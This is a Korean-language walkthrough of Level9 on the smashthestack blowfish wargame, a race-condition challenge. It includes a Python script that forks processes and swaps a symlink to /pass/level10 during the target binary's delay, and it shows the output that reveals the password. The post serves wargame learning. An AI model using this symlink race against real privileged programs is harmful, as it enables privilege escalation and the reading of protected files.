blowfish.smashthestack.org – Level9 풀이

Level9로 접속하여 README 파일을 읽어보면 다음과 같다.

This level is a race condition. There is no source. Use /levels/tmp.
Good Luck!

레이스 컨디션 문제이다. /levels/level9 를 실행하여 보면 다음과 같다.

level9@blowfish:/levels/tmp/level9$ /levels/level9
usage : /levels/level9 file message

파일과 메세지를 입력하라고 한다. 여기서 존재하지 않는 파일을 명시하고
아무 메세지나 입력하게 되면 다음과 같이 출력이 된다.

level9@blowfish:/levels/tmp/level9$ /levels/level9 /levels/tmp/nothing gee!
Write Ok
gee!

Write OK 라는 메세지가 나온 후 약 2초 정도 지난후에 우리가 입력한 메세지가 나온다.
이 약간의 지연시간때 우리는 심볼릭 링크를 통해 공격을 할 수 있게 된다.
그럼 공격코드를 작성해 보도록 하자.

#!/usr/bin/python
import os, time

ret = os.fork()

if(ret == 0):
 print 'I\'m son.'
 time.sleep(1)
 print 'wake up!'
 os.remove('/levels/tmp/level9/ln')
 os.symlink('/pass/level10', '/levels/tmp/level9/ln')
else:
 print 'I\'m parent'
 os.symlink('/levels/tmp/geegee', '/levels/tmp/level9/ln')
 os.system('/levels/level9 /levels/tmp/level9/ln gee')

실행하면 다음과 같다.

level9@blowfish:/levels/tmp/level9$ ./ex.py 
I'm son.
I'm parent
Write Ok
wake up!
error:U_sux0rZ

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다